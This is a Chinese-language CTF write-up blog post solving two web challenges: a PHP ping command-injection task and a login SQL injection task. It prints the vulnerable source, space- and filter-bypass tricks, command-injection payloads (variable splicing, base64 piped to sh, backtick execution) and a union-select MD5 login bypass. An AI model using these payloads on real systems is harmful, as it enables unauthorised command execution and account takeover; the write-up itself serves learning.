抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

说来惭愧,之前12月份初报了GWYCTF,结果到了比赛的时候又因为复习忙的焦头烂额,所以一道题目都没看。刚好因为题目难度是针对校内招新的,我就现在复现下吧:
题目复现地址:https://buuoj.cn/
大佬们在各种比赛群里应该已经知道了这个平台的存在了,有一说一那位师傅是真的富……
还是要感谢buuoj.cn提供了一个复现这些年大赛题目的机会。

Ping Ping Ping

开始进入提示传参ip,原题应该是直接给了一个输入框,输入后发现有执行ping命令的效果
那么看来是命令执行的题目了,命令执行的方法大抵是加上管道符或者分号,那么试试管道符
ls
尝试读flag发现果然被ban了,那么试试index.php发现提示空格被ban了。
绕过空格的方法大概有以下几种:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

不妨就用 $IFS试试,无果,用${IFS}发现{}被ban。再试$IFS$1成功。
源码如下:

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

过滤了许多标点,空格,bash,包括flag的贪婪匹配。那么自己印象中几种做法:

1.cat fl*       利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash   也不行
3.ca\t fl\ag.php   不行
4.cat fl''ag.php 不行

那么如何解决呢?其实还有一种比较常见的做法没有提及,那就是变量拼接:
变量拼接
之前自己特别喜欢用的一句话木马拆开用也是这个道理。

正好,我们看到源码中有一个$a变量可以覆盖,那么payload就出来了:

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

然后有官方与其他大佬的高端解法:
官方:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

dalao
内联执行的做法,只能说V&N的师傅们太强了。

http://530bbcaf-9d64-494e-8993-bb3727c31a5a.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行。
秒题大概就是这种做法吧……

BabySqli

进去后一个账号,密码输入框。先随便输下,提示wrong pass。但是看源码有意外收获FUZZ
从形式上看数字成分都没有超过6,可能是base32,解码后得到一个base64编码,解码后得到以下:

select * from user where username = '$name'

那么就可以在username这个注入点下手处理了。这道题目只过滤了基本的and与等号还是很能操作的。不过后来看别人说这题考点在MD5查询绕过。这么说的原因是,就算成功注入把admin密码的MD5拿到,因为解不了的缘故等于没用。基于题目提示的wrong pass,那么大概率是直接拿输入密码的MD5数值跟数据库里已知值比较。

稍微FUZZ一下admin' union select 1,2,3可以确认有三个字段
后面确认大概是id,admin,passwd三个字段。这里为了绕过,需要保证我们的查询结构一致,就可直接select 想要的返回值。
那么构造一个为假的查询-1,后面接上联合查询:

-1' union select 1,'admin','7363a0d0604902af7b70b271a0b96480'#

密码输123即可

评论